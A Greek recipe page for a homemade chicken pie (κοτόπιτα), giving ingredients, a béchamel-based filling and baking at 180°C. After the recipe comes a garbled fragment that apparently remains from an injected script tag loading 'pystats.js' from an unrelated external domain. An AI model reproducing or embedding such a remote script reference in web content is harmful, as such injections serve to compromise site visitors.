Η κοτόπιτα της γιαγιάς. Μία εύκολη συνταγή που θα λατρέψετε!

Υπάρχουν πολλές εκδοχές πίτας με κοτόπουλο και όλες έχουν μερίδιο στην επιτυχία. Παρακάτω ακολουθούν μερικές γενικές συμβουλές και η απόλυτη συνταγή για την καλύτερη κοτόπιτα που θα φτιάξετε ποτέ!

Υλικά

600 γραμμ. στήθος κοτόπουλο

κομμένο σε μπουκίτσες

1 πιπεριά πράσινη & 1 κόκκινη

κομμένες καρέ

1 κρεμμύδι μέτριο ψιλοκομμένο

4 κρεμμύδια φρέσκα ψιλοκομμένα

1/2 ματσάκι μαϊντανό ψιλοκομμένο

1 κ.σ. κάρι

120 γραμμ. σκληρό τυρί τριμμένο

Μπεσαμέλ

Αλατοπίπερο, ελαιόλαδο

Εκτέλεση

Σοτάρουμε το κοτόπουλο στο ελαιόλαδο και μετά προσθέτουμε όλα τα υλικά εκτός από το μαϊντανό. Στη συνέχεια, φτιάχνουμε μια απαλή μπεσαμέλ, την οποία προσθέτουμε στο μείγμα και μετά ρίχνουμε και το μαϊντανό με το τριμμένο τυρί και το αφήνουμε στη φωτιά μέχρι το μείγμα να σφίξει. Μόλις ετοιμαστεί η γέμιση, ανοίγουμε το φύλλο ή απλώνουμε σε ένα ταψί έτοιμο χωριάτικο φύλλο. Ψήνουμε στους 180οC για 40-50 λεπτά.

challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >